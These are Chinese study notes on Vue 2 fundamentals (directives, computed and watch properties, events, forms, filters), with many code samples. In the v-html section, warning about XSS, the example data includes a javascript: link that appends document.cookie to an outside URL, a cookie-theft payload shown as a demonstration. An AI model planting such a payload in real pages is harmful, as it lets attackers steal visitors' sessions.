1.el的两种写法：

```
##第一种写法,new Vue时候配置el属性。
const vm=new Vue({
    el:'#root',
    data:{
        name:'you'yu'xi'
    }
})
```

```
##第二种写法,先创建Vue实例，随后再通过vm.$mount('#root')指定el的值
vm.$mount('#root')
```

2.data的两种写法：

```
##第一种写法，对象式
    data:{
        name:'尚硅谷'
    }
##第二种写法，函数式：学习到组件时，data必须使用函数式，否则会报错
    data(){
        return{
            name:'尚硅谷'
        }
    }
```

如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。

3.一个重要的原则：

由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。

4.Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

5.MVVM模型

1. M：模型(Model) ：data中的数据
2. V：视图(View) ：模板代码
3. VM：视图模型(ViewModel)：Vue实例

观察发现：

1.data中所有的属性，最后都出现在了vm身上。

2.vm身上所有的属性 及Vue原型上所有属性，在Vue模板中都可以直接使用。

6.Vue模板语法有2大类：

1.插值语法：

功能：用于解析标签体内容。

写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。

2.指令语法：

功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。

举例：v-bind:href="xxx" 或 简写为 :href="xxx"，xxx同样要写js表达式，
且可以直接读取到data中的所有属性。

备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。

7.初识Vue：

1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；

2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；

3.root容器里的代码被称为【Vue模板】；

4.Vue实例和容器是一一对应的；

5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；

6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；

7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

```
注意区分：js表达式 和 js代码(语句)
        1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
                (1). a
                (2). a+b
                (3). demo(1)
                (4). x === y ? 'a' : 'b'

        2.js代码(语句)
                (1). if(){}
                (2). for(){}

引入Vue
    <script type="text/javascript" src="../js/vue.js"></script>


import Student from './vue_test/14_src_消息订阅与发
布/components/Student'
```

创建Vue实例

```
new Vue({
  el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
  data:{ //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一
个对象。
```

```
        name:'atguigu',
        address:'北京'
    }
})
```

8.**Object.defineproperty方法***（给一个对象添加或者定义属性用的，在数据劫持，数据代理，计算属性等都会用到这个方法）

data中的普通的对象要添加属性直接在对象里添加，这些属性都是可随意添加删除在控制台，但是一旦想要修改他，也只能在控制台，但是不想在控制台修改，

而是一个变量变化对象中的属性也随之变化就要用到Object.defineproperty方法来实现。

由于 JavaScript 的限制，Vue 不能检测数组和对象的变化。尽管如此我们还是有一些办法来回避这些限制并保证它们的响应性。

Vue 无法检测 property 的添加或移除。由于 Vue 会在初始化实例时对 property 执行 getter/setter 转化，所以 property 必须在 data 对象上存在才能让 Vue 将它转换为响应式的

```
let number = 18
let person = {
    name:'张三',
    sex:'男',
}
//用下面的方法数据是淡颜色的，都是不能被枚举的，即这个属性是不参与遍历的，也不可随意修改和删除，但是可以配置来完成这些功能
Object.defineProperty(person,'age',{
    // value:18,
    // enumerable:true, //控制属性是否可以枚举，默认值是false
    // writable:true, //控制属性是否可以被修改，默认值是false
    // configurable:true //控制属性是否可以被删除，默认值是false

    //当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值
    get(){
        console.log('有人读取age属性了')
        return number
    },

    //当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值
    set(value){
        console.log('有人修改了age属性，且值是',value)
        number = value
    }
})
console.log(Object.keys(person))//遍历对象中属性名
```

```
console.log(person)
```

9.数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

let obj = {x:100}

let obj2 = {y:200}

```
Object.defineProperty(obj2,'x',{
    get(){
        return obj.x
    },
    set(value){
        obj.x = value
    }
})

vue中的数据代理：
    1.Vue中的数据代理：
        通过vm对象来代理data对象中属性的操作（读/写）
    2.Vue中数据代理的好处：
        更加方便的操作data中的数据
    3.基本原理：
        通过Object.defineProperty()把data对象中所有属性添加到vm上。
        为每一个添加到vm上的属性，都指定一个getter/setter。
        在getter/setter内部去操作（读/写）data中对应的属性。
```

10.事件处理

事件的基本使用：

1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；

2.事件的回调需要配置在methods对象中，最终会在vm上；

3.methods中配置的函数，不要用箭头函数！否则this就不是vm了；

4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象；

5.@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参；

欢迎来到**{{name}}**学习

<button @click="showInfo1">点我提示信息1（不传参） <button @click="showInfo2($event,66)">点我提示信息2（传参）

methods: { showInfo1(event) { console.log(event.target.innerText) console.log(event) // console.log(this) //此处的this是vm alert('同学你好！') }, showInfo2(event, number) { // console.log(event, number) console.log(event) console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好！！') } }

11.事件修饰符

Vue中的事件修饰符：

1.prevent：阻止默认事件（常用）；

2.stop：阻止事件冒泡（常用）；

3.once：事件只触发一次（常用）；

4.capture：使用事件的捕获模式；

5.self：只有event.target是当前操作的元素时才触发事件；

6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

欢迎来到**{{name}}**学习

<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息

```
    <!-- 阻止事件冒泡（常用），点按钮冒泡到div身上 ，出现两次弹窗,典型的冒泡事件-->
    <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
    </div>

    <!-- 事件只触发一次（常用） -->
    <button @click.once="showInfo">点我提示信息</button>

    <!-- 使用事件的捕获模式，捕获阶段是由外网内，冒泡阶段是由内往外，一般都是先捕获再冒泡，默认冒泡阶段才是处理事件的，所以是2，1，如果想再捕获阶段就处理事件，可用capture，这个加到谁身上就是谁先处理，加到最外层，就是最外层先处理，结果就是1，2 -->
    <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">
            div2
        </div>
    </div>
```

```
    <!-- 只有event.target是当前操作的元素时才触发事件；感觉也是能阻止事件冒泡
-->
    <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
    </div>

    <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕；scroll滚动条,wheel
鼠标滚动轮，即使滚动条到底了，滚动轮滚动依然会触发，滚动轮是先触发滚动的事件，然后
执行回调，执行完后才触发默认行为,滚动条才动一下，所以可用passive解决 -->
    <!-- <ul @scroll="demo" class="list"> -->
    <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>
</div>
methods:{
    showInfo(e){
        // e.preventDefault();// 阻止默认行为
        // e.stopPropagation();//阻止事件冒泡
        alert('同学你好！')
        // console.log(e.target)
    },
    showMsg(msg){
        console.log(msg)
    },
    demo(){
        for (let i = 0; i < 100000; i++) {
            console.log('#')
        }
        console.log('累坏了')
    }
}
```

12.键盘事件

1.Vue中常用的按键别名：

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊，tab本身就有一个功能，把焦点从当前元素上切走，按下还没抬起就切走了，所以不能用keyup，必须配合keydown去使用)

上 => up

下 => down

左 => left

右 => right

不是所有的按键都能绑定事件

2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）

```
3.系统修饰键（用法特殊）：ctrl、alt、shift、meta
        (1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
        (2).配合keydown使用：正常触发事件。

4.也可以使用keyCode去指定具体的按键（不推荐）

5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!-- <input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo"> -->
        <input type="text" placeholder="按下回车提示输入" @keydown.caps-lock="showInfo">
        <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

        new Vue({
            el:'#root',
            data:{
                name:'尚硅谷'
            },
            methods: {
                showInfo(e){
                    // if(e.keyCode!==13) return//和.enter功能一样
                    // console.log(e.key,e.keyCode)//keyCode代表按键的编码，e.key是按键的名字
```

```
                    console.log(e.target.value)//显示输入框输入的内容
                }
            },
        })
    </script>
```

13.计算属性

计算属性：

1.定义：要用的属性不存在，要通过已有属性计算得来。

2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。

3.get函数什么时候执行？

(1).初次读取时会执行一次。

(2).当依赖的数据发生改变时会被再次调用。

4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。

5.备注：

1.计算属性最终会出现在vm上，直接读取使用即可。

2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

```
插值语法实现
    <div id="root">
        姓：<input type="text" v-model="firstName"> <br/><br/>
        名：<input type="text" v-model="lastName"> <br/><br/>
        全名：<span>{{firstName}}-{{lastName}}</span>
    </div>
    data:{
        firstName:'张',
        lastName:'三'
    }
methods实现
    <div id="root">
        姓：<input type="text" v-model="firstName"> <br/><br/>
        名：<input type="text" v-model="lastName"> <br/><br/>
        全名：<span>{{fullName()}}</span>
    </div>
    data:{
        firstName:'张',
        lastName:'三'
    },
    methods: {
        fullName(){
            console.log('@---fullName')
```

```
            return this.firstName + '-' + this.lastName
        }
    },
```

计算属性实现（完整写法）

```
    <div id="root">
        姓：<input type="text" v-model="firstName"> <br/><br/>
        名：<input type="text" v-model="lastName"> <br/><br/>
        测试：<input type="text" v-model="x"> <br/><br/>
        全名：<span>{{fullName}}</span> <br/><br/>
        <!-- 全名：<span>{{fullName}}</span> <br/><br/>
        全名：<span>{{fullName}}</span> <br/><br/>
        全名：<span>{{fullName}}</span> -->
    </div>
    data:{
        firstName:'张',
        lastName:'三',
        x:'你好'
    },
    computed:{//计算属性和data,methods不一样，不是写什么就会出现在vm上，计算属性定义的对象在往vm身上放的时候会自动调用get,拿到get的返回值，然后放在vm身上，放的名字就是定义的计算属性的名字
        fullName:{
            //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值，当你第一次调用他后，就会有缓存，之后想再用，可在缓存中找，所以只调一次get
            //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
            get(){
                console.log('get被调用了')
                // console.log(this) //此处的this是vm
                return this.firstName + '-' + this.lastName
            },
            //set什么时候调用? 当fullName被修改时。
            set(value){
                console.log('set',value)
                const arr = value.split('-')
                this.firstName = arr[0]
                this.lastName = arr[1]
            }
        }
    }
```

计算属性实现（简写）

```
<div id="root">
    姓：<input type="text" v-model="firstName"> <br/><br/>
    名：<input type="text" v-model="lastName"> <br/><br/>
    全名：<span>{{fullName}}</span> <br/><br/>
</div>
data:{
    firstName:'张',
    lastName:'三',
},
computed:{
    //完整写法
    /* fullName:{
        get(){
            console.log('get被调用了')
            return this.firstName + '-' + this.lastName
        },
        set(value){
            console.log('set',value)
            const arr = value.split('-')
            this.firstName = arr[0]
            this.lastName = arr[1]
        }
    } */
    //简写（只读不改就可用简写形式，只留get）
    fullName(){
        console.log('get被调用了')
        return this.firstName + '-' + this.lastName
    }
}
```

14.监视属性

监视属性watch：

1.当被监视的属性变化时, 回调函数handleh函数自动调用, 进行相关操作

2.监视的属性必须存在，才能进行监视！！

3.监视的两种写法：

(1).new Vue时传入watch配置

(2).通过vm.$watch监视

4.监听可以监听data,methods中的属性和方法

```
<div id="root">
```

```
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
    </div>
    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        /* watch:{
            isHot:{
                immediate:true, //初始化时让handler调用一下
                //handler什么时候调用？当isHot发生改变时。
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }
        } */
    })
    //是在创建的时候不知道监听谁，可用vm.$watch
    vm.$watch('isHot',{
        immediate:true, //初始化时让handler调用一下
        //handler什么时候调用？当isHot发生改变时。
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    })
```

深度监视：

(1).Vue中的watch默认不监测对象内部值的改变（一层）。

(2).配置deep:true可以监测对象内部值改变（多层）。

备注：

(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以,想要可以的就要加deep!

(2).使用watch时根据数据的具体结构，决定是否采用深度监视。

```
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
        <hr/>
        <h3>a的值是:{{numbers.a}}</h3>
        <button @click="numbers.a++">点我让a+1</button>
        <h3>b的值是:{{numbers.b}}</h3>
        <button @click="numbers.b++">点我让b+1</button>
        <button @click="numbers = {a:666,b:888}">彻底替换掉
numbers</button>
        {{numbers.c.d.e}}
    </div>
    data:{
        isHot:true,
        numbers:{
            a:1,
            b:1,
            c:{
                d:{
                    e:100
                }
            }
        }
    },
    computed:{
        info(){
            return this.isHot ? '炎热' : '凉爽'
        }
    },
    methods: {
        changeWeather(){
            this.isHot = !this.isHot
        }
    },
    watch:{
        isHot:{
            // immediate:true, //初始化时让handler调用一下
            //handler什么时候调用？当isHot发生改变时。
            handler(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue)
```

```
            }
        },
        //监视多级结构中某个属性的变化
        /* 'numbers.a':{
            handler(){
                console.log('a被改变了')
            }
        } */
        //监视多级结构中所有属性的变化，想监听某个对象中的多个属性变化，而不是对象名，监听对象名就好像是监听地址一样，地址不变，就没有变化，即使里面属性值变化，所以用deep。
        numbers:{
            deep:true,
            handler(){
                console.log('numbers改变了')
            }
        }
    }
```

监视属性_简写

```
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
    </div>
    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            //正常写法
            /* isHot:{
```

```
                // immediate:true, //初始化时让handler调用一下
                // deep:true,//深度监视
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }, */
            //简写
            /* isHot(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue,this)
            } */
        }
    })

    //正常写法
    /* vm.$watch('isHot',{
        immediate:true, //初始化时让handler调用一下
        deep:true,//深度监视
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    }) */

    //简写
    /* vm.$watch('isHot',(newValue,oldValue)=>{
        console.log('isHot被修改了',newValue,oldValue,this)
    }) */
```

computed和watch之间的区别：

1.computed能完成的功能，watch都可以完成。

2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。

感觉计算属性比监听属性简单，简洁，但是监听属性能够很畅快的开启异步任务，但是计算属性不行。

因为计算属性靠return来返回值，在setTimeout里return的内容不是计算属性return的东西，所以计算属性不能用时钟等等计算属性的返回值，所以不能处理异步任务

定时器是在监视属性的一个内容开启的，用的箭头函数，但是定时器指定的回调，不是vue控制的，而是浏览器定时器管理模块控制的，最后定时器到点了，也是js引擎帮他调的粉色框中的内容就是箭头函数，箭头函数没有自己的箭头函数，所以会往外找，就找到监视属性this=vm，如果写普通函数，则this=windows,不对了

两个重要的小原则：

1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。

2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，

这样this的指向才是vm 或 组件实例对象。

```
<div id="root">
    姓：<input type="text" v-model="firstName"> <br/><br/>
    名：<input type="text" v-model="lastName"> <br/><br/>
    全名：<span>{{fullName}}</span> <br/><br/>
</div>
data:{
    firstName:'张',
    lastName:'三',
    fullName:'张-三'
},
watch:{
    firstName(val){
        setTimeout(()=>{
            console.log(this)
            this.fullName = val + '-' + this.lastName
        },1000);
    },
    lastName(val){
        this.fullName = this.firstName + '-' + val
    }
}
```

15.绑定样式：

1. class样式

写法:class="xxx" xxx可以是字符串、对象、数组。

字符串写法适用于：类名不确定，要动态获取。

对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。

数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

2. style样式

:style="{fontSize: xxx+'px'}"

:style="{fontSize: xxx}"其中xxx是动态值,要写成对象形式才行，因为必须是表达式。

:style="[a,b]"其中a、b是样式对象。

```
<style>
    .basic{
        width: 400px;
```

```
        height: 100px;
        border: 1px solid black;
    }

    .happy{
        border: 4px solid red;;
        background-color: rgba(255, 255, 0, 0.644);
        background: linear-
gradient(30deg,yellow,pink,orange,yellow);
    }
    .sad{
        border: 4px dashed rgb(2, 197, 2);
        background-color: gray;
    }
    .normal{
        background-color: skyblue;
    }

    .atguigu1{
        background-color: yellowgreen;
    }
    .atguigu2{
        font-size: 30px;
        text-shadow:2px 2px 10px red;
    }
    .atguigu3{
        border-radius: 20px;
    }
</style>
<div id="root">
    <!-- 绑定class样式--字符串写法（常用），适用于：样式的类名不确定，需要动态
指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}
</div> <br/><br/>

    <!-- 绑定class样式--数组写法（常用），适用于：要绑定的样式个数不确定、名字
也不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

    <!-- 绑定class样式--对象写法（常用），适用于：要绑定的样式个数确定、名字也
确定，但要动态决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
```

```
    <!-- 绑定style样式--对象写法（常用） -->
    <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
    <!-- 绑定style样式--数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>
</div>
data:{
    name:'尚硅谷',
    mood:'normal',
    classArr:['atguigu1','atguigu2','atguigu3'],
    classObj:{
        atguigu1:false,
        atguigu2:false,
    },
    styleObj:{
        fontSize: '40px',
        color:'red',
    },
    styleObj2:{
        backgroundColor:'orange'
    },
    styleArr:[
        {
            fontSize: '40px',
            color:'blue',
        },
        {
            backgroundColor:'gray'
        }
    ]
},
methods: {
    changeMood(){
        const arr = ['happy','sad','normal']
        const index = Math.floor(Math.random()*3)//向下取整0-3，3不包
含
        this.mood = arr[index]
    }
},
```

16.条件渲染：

1.v-if

写法：

(1).v-if="表达式"

(2).v-else-if="表达式"

(3).v-else="表达式"

适用于：切换频率较低的场景。

特点：不展示的DOM元素直接被移除。

注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

2.v-show

写法：v-show="表达式"

适用于：切换频率较高的场景。

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

```
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <!-- 使用v-show做条件渲染 -->
        <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- 使用v-if做条件渲染 -->
        <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- v-else和v-else-if -->
        <!-- <div v-if="n === 1">Angular</div>
        <div v-else-if="n === 2">React</div>
        <div v-else-if="n === 3">Vue</div>
        <div v-else>哈哈</div> -->

        <!-- v-if与template的配合使用，使用template不会破坏结构，template不能和v-show配合使用 -->
        <template v-if="n === 1">
            <h2>你好</h2>
            <h2>尚硅谷</h2>
            <h2>北京</h2>
        </template>
    </div>
```

```
    data:{
        name:'尚硅谷',
        n:0
    }
```

17.列表渲染

v-for指令:

1.用于展示列表数据

2.语法：v-for="(item, index) in xxx" :key="yyy"

3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

```
<div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表（遍历数组）</h2>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {{p.name}}-{{p.age}}
        </li>
    </ul>

    <!-- 遍历对象 -->
    <h2>汽车信息（遍历对象）</h2>
    <ul>
        <li v-for="(value,k) of car" :key="k">
            {{k}}-{{value}}
        </li>
    </ul>

    <!-- 遍历字符串 -->
    <h2>测试遍历字符串（用得少）</h2>
    <ul>
        <li v-for="(char,index) of str" :key="index">
            {{char}}-{{index}}
        </li>
    </ul>

    <!-- 遍历指定次数 -->
    <h2>测试遍历指定次数（用得少）</h2>
    <ul>
        <li v-for="(number,index) of 5" :key="index">
            {{index}}-{{number}}
```

```
        </li>
    </ul>
</div>
data:{
    persons:[
        {id:'001',name:'张三',age:18},
        {id:'002',name:'李四',age:19},
        {id:'003',name:'王五',age:20}
    ],
    car:{
        name:'奥迪A8',
        price:'70万',
        color:'黑色'
    },
    str:'hello'
}
```

面试题：react、vue中的key有什么作用？（key的内部原理）

1. 虚拟DOM中key的作用：

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】，

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

2.对比规则：

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

①.若虚拟DOM中内容没变，直接使用之前的真实DOM!

②.若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key

创建新的真实DOM，随后渲染到到页面。

3. 用index作为key可能会引发的问题：

1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实DOM更新 ==> 界面效果没问题，但效率低。

2. 如果结构中还包含输入类的DOM:

会产生错误DOM更新 ==> 界面有问题。

4. 开发中如何选择key?:

1.最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值。

2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，

使用index作为key是没有问题的。

Vue监视数据的原理：

vm中的data数据里面的数据都是将vm的_data中的数据进行数据代理出来的数据

1. vue会监视data中所有层次的数据。

2. 如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target，propertyName/index，value) 或

vm.$set(target，propertyName/index，value)

3. 如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！

18.收集表单数据：

若：<input type="text" />，则v-model收集的是value值，用户输入的就是value值。

若：<input type="radio" />，则v-model收集的是value值，且要给标签配置value值。

若：<input type="checkbox" />

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据

number：输入字符串转为有效的数字

trim：输入首尾空格过滤

```
    <form @submit.prevent="demo">
        账号：<input type="text" v-model.trim="userInfo.account">
<br/><br/>
        密码：<input type="password" v-model="userInfo.password">
<br/><br/>
        年龄：<input type="number" v-model.number="userInfo.age">
<br/><br/>
        性别：
        男<input type="radio" name="sex" v-model="userInfo.sex"
value="male">
        女<input type="radio" name="sex" v-model="userInfo.sex"
value="female"> <br/><br/>
        爱好：
        学习<input type="checkbox" v-model="userInfo.hobby"
value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby"
value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby"
value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息：(.lazy就是当输入完文本框内容，即失去焦点的一瞬间再收集数据)
        <textarea v-model.lazy="userInfo.other"></textarea> <br/>
<br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a
href="http://www.atguigu.com">《用户协议》</a>
```

```
        <button>提交</button>
    </form>
    data:{
        userInfo:{
            account:'',
            password:'',
            age:18,
            sex:'female',
            hobby:[],
            city:'beijing',
            other:'',
            agree:''
        }
    },
    methods: {
        demo(){
            //JSON.stringify方法用于将 JavaScript 值转换为 JSON 字符串
            console.log(JSON.stringify(this.userInfo))
        }
    }
```

19.过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}

2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注：

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

```
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是：{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是：{{getFmtTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是：{{time | timeFormater}}</h3>
        <!-- 过滤器实现（传参） -->
        <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}
</h3>
```

```
        <h3 :x="msg | mySlice">尚硅谷</h3>
    </div>
    <div id="root2">
        <h2>{{msg | mySlice}}</h2>
    </div>
    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })
    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //时间戳
            msg:'你好，尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日
HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日
HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
    new Vue({
        el:'#root2',
        data:{
            msg:'hello,atguigu!'
        }
    })
```

20.内置指令

我们学过的指令：

v-bind ：单向绑定解析表达式, 可简写为 :xxx

v-model : 双向数据绑定

v-for ：遍历数组/对象/字符串

v-on ：绑定事件监听, 可简写为@

v-if ：条件渲染（动态控制节点是否存存在）

v-else ：条件渲染（动态控制节点是否存存在）

v-show ：条件渲染 (动态控制节点是否展示)

v-text指令：

1.作用：向其所在的节点中渲染文本内容。

2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

```
v-html指令：
        1.作用：向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别：
                    (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
                    (2).v-html可以识别html结构。
        3.严重注意：v-html有安全性问题！！！！
                    (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻
击。
                    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的
内容上！
        <div id="root">
            <div>你好，{{name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
        data:{
            name:'尚硅谷',
            str:'<h3>你好啊！</h3>',
            str2:'<a
href=javascript:location.href="http://www.baidu.com?"+document.cook
ie>兄弟我找到你想要的资源了，快来！</a>',
        }
v-cloak指令（没有值）：
        1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
        <div id="root">
            <h2 v-cloak>{{name}}</h2>
        </div>
```

```
        <script type="text/javascript"
src="http://localhost:8080/resource/5s/vue.js"></script>
        data:{
            name:'尚硅谷'
        }

v-once指令：
        1.v-once所在节点在初次动态渲染后，就视为静态内容了。
        2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
        <div id="root">
            <h2 v-once>初始化的n值是:{{n}}</h2>
            <h2>当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
        data:{
            n:1
        }
v-pre指令：
        1.跳过其所在节点的编译过程，如果有插值或指令的标签，就不会解析，则只会呈现标签写的内容，不能解析data中的数据。
        2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
        <div id="root">
            <h2 v-pre>Vue其实很简单</h2>
            <h2 >当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
        data:{
            n:1
        }
```

20.自定义指令

(标签)模板都是经过编译之后才会出现在页面上的，不是写了模板就会直接显示，模板交给vue处理解析，vue解析分为好几步，关于自定义指令如下,如在内存中先绑定等

所有指令里面包含的函数的this都指的window不是vm,指令是用来操作元素的，把元素和绑定的相关信息给你，剩下的事情就不管了，所以vm也没什么用，需要的数据，都从使用命令时传进来了

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

